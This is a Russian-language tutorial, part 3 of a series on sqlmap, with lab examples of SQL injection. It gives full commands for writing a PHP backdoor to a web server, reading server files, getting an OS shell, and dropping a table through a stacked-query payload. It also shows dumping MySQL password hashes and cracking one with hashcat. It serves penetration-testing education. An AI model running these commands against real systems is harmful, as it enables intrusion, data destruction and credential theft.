Инструкция по использованию sqlmap. Ч.3: Залив бэкдора, выполнение системных команд, изменение данных в БД

Начало:

Чтение и запись файлов через SQL-инъекцию

В SQL языке есть команда, которая записывает содержимое, например, ячейки на жёсткий диск. При SQL-инъекции мы можем вносить изменения в базу данных, например, создать таблицу с ячейкой, в которую запишем файл с нашей системы, а затем с помощью команды языка SQL сбросим содержимое на жёсткий диск целевой системы в файл с любым названием. Этот процесс в sqlmap автоматизирован, для записи произвольного файла в уязвимую систему используются опции --file-write и --file-dest. После первой опции нужно указать файл в локальной системе, который вы хотите записать в удалённую уязвимую систему. После опции --file-dest нужно указать точный АБСОЛЮТНЫЙ путь сохраняемого файла.

Пример команды:

~/bin/sqlmap-dev/sqlmap.py -u "http://192.168.0.244/Test/mysql-inj-lab1/?name=1&password=2" -p password --file-write "/home/dojo/backdoor.txt" --file-dest "C:/Server/data/htdocs/backdoor.php"

Здесь:

  • ~/bin/sqlmap-dev/sqlmap.py – путь до программы sqlmap
  • -u "http://192.168.0.244/Test/mysql-inj-lab1/?name=1&password=2" – адрес уязвимой страницы
  • -p password – атака будет производиться через уязвимый параметр password
  • --file-write "/home/dojo/backdoor.txt" – путь до файла на компьютере атакующего
  • --file-dest "C:/Server/data/htdocs/backdoor.php" – абсолютный путь для сохранения в уязвимой системе (сохранять можно не обязательно в каталогах веб-сервера, если настройки и привилегии это позволяют, можно сохранить в любой папке удалённой ОС).

Для того, чтобы узнать абсолютные пути на сервере можно воспользоваться различными приёмами:

  • запустить nmap для определения версии ОС. В различных ОС сервер имеет различные директории по умолчанию. Например, в Debain (Ubuntu) это /var/www/ или /var/www/html/. В Windows это могут быть каталоги C:\Apache24\htdocs\, C:/xampp/htdocs/, C:/wamp/www/, C:/Inetpub/wwwroot/, C:\Server\data\htdocs\ или другой. Также если вы определили тип уязвимой ОС, то можно воспользоваться папками, которые там обязательно должны быть, например, C:\Windows\temp\ и т.д.
  • поиск ошибок в веб-сайтах, раскрывающих абсолютные пути, например:

Для того, чтобы удалось записать файл на удалённую систему, должно сложиться сразу много благоприятных факторов:

  • не должна быть заблокирована команда языка SQL, выполняющая запись на диск
  • у SQL сервера должны быть права на запись
  • нужно знать абсолютный путь и иметь права записи в указанную директорию

В целом, очень нечасто выполняются все условия и удаётся успешно выполнить эту атаку.

Кроме записи файлов, возможно также копирование файлов с удалённой системы. Для этого используется опция --file-read, после которой указывается абсолютный путь до интересующего файла. Пример команды:

~/bin/sqlmap-dev/sqlmap.py -u "http://192.168.0.244/Test/mysql-inj-lab1/?name=1&password=2" -p password --file-read "C:\Server\data\htdocs\Test\mysql-inj-lab1\index.php"

Запуск произвольных команд операционной системы

Для этого используются опции: --os-cmd и --os-shell. Первая отправляет команду для выполнения на уязвимый сервер, а вторая – симулирует реальную оболочку, с поддержкой автозавершения по TAB. Необходимо указать используемый на сервере язык программирования (ASP, ASP.NET, JSP или PHP), а также абсолютный путь до директории, в которую имеются права записи. Как и выгрузка файлов, данная атака срабатывает далеко не всегда.

Изменение данных в БД

Рекомендуется изучить статью «Изучение MySQL / MariaDB для начинающих». SQL команды нужно знать как для запросов к базам данных, так и для понимания сути SQL-инъекций.

Для внесения изменений в базы данных имеются опции --sql-query и --sql-shell. Если вы хотите сделать произвольный SQL запрос к системе управления базами данных используя команду SELECT, то никаких проблем нет. Но если вы хотите использовать команды вроде DROP, UPDATE, INSERT, то нужно знать о stacked query (стек запросов). Проще говоря, это возможность выполнять несколько команд за один раз, отделяя их друг от друга точкой с запятой.

Пример:

В параметр вставляется

ID: 10;DROP members --

Выполняемые команды:

SELECT * FROM products WHERE id = 10; DROP members--

Это удалит (DROP) таблицу members сразу после первого SQL запроса.

О стеке запросов нужно знать по той причине, что далеко не все технологии веб-приложений поддерживают его. Например, PHP не поддерживает стек запросов, когда СУБД является MySQL, но поддерживает его, когда СУБД является PostgreSQL.

Посмотрите на следующую таблицу:

Как это не печально, именно связка PHP – MySQL является самой распространённой. Т.е. в большинстве случаев мы не сможем внести изменения в таблицы через стек запросов.

Пароли пользователей баз данных

В СУБД MySQL пароли пользователей, в том числе root’а, хранятся прямо в одной из баз данных в виде хеша. Это база данных под названием mysql, таблица user. Хеш пароля может храниться в колонках с различным названием, например, в authentication_string или Password.

Пример получения дампа базы данных mysql:

~/bin/sqlmap-dev/sqlmap.py -u http://localhost/mutillidae/index.php?page=login.php --data="username=111111&password=222222&login-php-submit-button=Login" -D mysql -T user --dump

В этих примерах мы дампим (получаем ) отдельные поля:

~/bin/sqlmap-dev/sqlmap.py -u http://localhost/mutillidae/index.php?page=login.php --data="username=111111&password=222222&login-php-submit-button=Login" -D mysql -T user -C Host,User,authentication_string,account_locked,Password --dump

~/bin/sqlmap-dev/sqlmap.py -u "http://192.168.0.244/Test/mysql-inj-lab1/?name=1&password=2" -p password -D mysql -T user -C Host,User,authentication_string,account_locked,Password --dump

Посмотрим на строку:

| 127.0.0.1 | root             | <blank>               |                | *263027ECC84AA7B81EA86B0EBECAFE20BC8804FC |
  • 127.0.0.1 говорит нам о том, что доступ к базам данных возможен только из локальной сети – удалённо подключиться к серверу MySQL не получится.
  •  263027ECC84AA7B81EA86B0EBECAFE20BC8804FC – это и есть хеш, который нужно взломать, если мы хотим узнать пароль.

Для взлома в Hashcat обратимся к её справке, чтобы узнать номер хеша:

    200 | MySQL323                                         | Сервер базы данных
    300 | MySQL4.1/MySQL5                                  | Сервер базы данных

Т.к. вариантов больше чем один, нам нужно знать версию сервера MySQL. Для этого в sqlmap есть опция -f:

Примеры:

~/bin/sqlmap-dev/sqlmap.py -u http://localhost/mutillidae/index.php?page=login.php --data="username=111111&password=222222&login-php-submit-button=Login" -f

~/bin/sqlmap-dev/sqlmap.py -u "http://192.168.0.244/Test/mysql-inj-lab1/?name=1&password=2" -p password -f

Примеры полученных данных:

web application technology: PHP 7.1.0, Apache 2.4.25
back-end DBMS: active fingerprint: MySQL >= 5.5.0

и

web application technology: Apache 2.2.22, PHP 5.3.10
back-end DBMS: active fingerprint: MySQL >= 5.5.0

Т.е. номер нашего хеша 300, составляем команду hashcat для взлома:

hashcat64.exe --opencl-device-types 1,2 -a 3 -1 ?l?d?u -m 300 -i --increment-min=1 --increment-max=8  263027ECC84AA7B81EA86B0EBECAFE20BC8804FC ?1?1?1?1?1?1?1?1?1

Результат (смотрите на символы после двоеточия)

263027ecc84aa7b81ea86b0ebecafe20bc8804fc:dojo

Искомым паролем оказалось слово dojo.

Заключение

Как можно убедиться, даже в лабораторных условиях описанные техники не всегда работоспособны. Тем не менее, необходимо делать проверку на возможность их эксплуатации, поскольку в случае удачи они позволяют значительно продвинуться в тестировании на проникновение веб-приложений. 

One Comment to Инструкция по использованию sqlmap. Ч.3: Залив бэкдора, выполнение системных команд, изменение данных в БД

  1. artem:

    спасибо огромное

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *